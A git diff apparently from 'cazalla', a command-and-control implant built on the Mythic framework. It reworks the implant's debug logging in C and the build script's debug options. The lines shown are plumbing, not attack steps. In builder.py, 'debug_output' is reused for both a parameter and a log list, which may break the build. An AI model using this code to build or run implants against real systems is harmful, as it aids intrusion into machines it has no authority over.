_dbg("mandarYRecibir() len=%zu", tamano); return realizarPeticionHTTP(datos, (UINT32)tamano); #else return NULL; diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index e569294..4b1f203 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -1,10 +1,5 @@ #include "utils.h" -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[UTILDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; @@ -153,20 +148,20 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len) { unsigned char *buf = (unsigned char*)LocalAlloc(LPTR, need); if (!buf) { - DBG_PRINTF("base64_decode: LocalAlloc failed for %zu bytes", need); + _err("base64_decode: LocalAlloc failed for %zu bytes", need); return 0; } int ok = b64Decodificado(b64, buf, need); if (!ok) { LocalFree(buf); - DBG_PRINTF("base64_decode: b64Decodificado failed"); + _err("base64_decode: b64Decodificado failed"); return 0; } *out = buf; *out_len = (size_t)need; - DBG_PRINTF("base64_decode: decoded %zu bytes", *out_len); + _dbg("base64_decode: decoded %zu bytes", *out_len); return 1; } @@ -181,12 +176,12 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) { char *s = b64Codificado(data, (SIZE_T)dlen); if (!s) { - DBG_PRINTF("base64_encode: b64Codificado failed"); + _err("base64_encode: b64Codificado failed"); return 0; } /* b64Codificado already uses LocalAlloc in original impl */ *out_b64 = s; - DBG_PRINTF("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64); + _dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64); return 1; } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h index a1d3ce1..62c6410 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -4,9 +4,9 @@ #include #include #include -#include "debug.h" #include #include +#include "debug.h" #ifdef __MINGW64__ #define BYTESWAP32(x) __builtin_bswap32( x ) diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py index 6b84c0c..4c6823d 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -30,10 +30,18 @@ class CazallaAgent(PayloadType): default_value="exe" ), BuildParameter( - name="debug", - parameter_type=BuildParameterType.Boolean, - description="Enable debug mode (adds -D_DEBUG -DDEBUG_SOCKS and console output)", - default_value=False + name="debug_level", + parameter_type=BuildParameterType.ChooseOne, + description="Debug verbosity level", + choices=["none", "errors", "warnings", "info", "all"], + default_value="none" + ), + BuildParameter( + name="debug_output", + parameter_type=BuildParameterType.ChooseOne, + description="Debug output destination (only used if debug_level is not 'none')", + choices=["console", "file"], + default_value="console" ), ] agent_path = pathlib.Path(".") / "cazalla" @@ -182,7 +190,8 @@ class CazallaAgent(PayloadType): copy_tree(str(self.agent_path), agent_build_path.name) output_format = self.get_parameter("output") - debug_enabled = self.get_parameter("debug") + debug_level = self.get_parameter("debug_level") + debug_output = self.get_parameter("debug_output") config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" @@ -229,9 +238,7 @@ class CazallaAgent(PayloadType): debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}") # Send all debug info as part of "Applying configuration" step - output_format = self.get_parameter("output") - debug_enabled = self.get_parameter("debug") - final_output = f"All configuration setting applied (output={output_format}, debug={debug_enabled})\n\n" + final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n" final_output += "\n".join(debug_output) await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( @@ -241,14 +248,19 @@ class CazallaAgent(PayloadType): StepSuccess=True )) - if debug_enabled: - make_target = f"debug_{output_format}" - output_filename = f"cazalla-debug.{output_format}" - else: + # Determine build target and filename based on output format and debug settings + if debug_level == "none": make_target = output_format output_filename = f"cazalla.{output_format}" + make_flags = "" + else: + make_target = f"debug_{output_format}" + output_filename = f"cazalla-debug.{output_format}" + # Pass debug level and output type to Makefile + # The Makefile will convert string values to numbers + make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}" - command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target}" + command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}" filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}" proc = await asyncio.create_subprocess_shell( @@ -273,11 +285,11 @@ class CazallaAgent(PayloadType): resp.build_message = f"Compilation failed: {compile_errors}" return resp - debug_info = " (DEBUG MODE)" if debug_enabled else "" + debug_info = f" (DEBUG: {debug_level}/{debug_output})" if debug_level != "none" else "" await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Compiling", - StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nOutput: {output_filename}", + StepStdout=f"Successfully compiled cazalla{debug_info}\nTarget: {make_target}\nFlags: {make_flags}\nOutput: {output_filename}", StepSuccess=True ))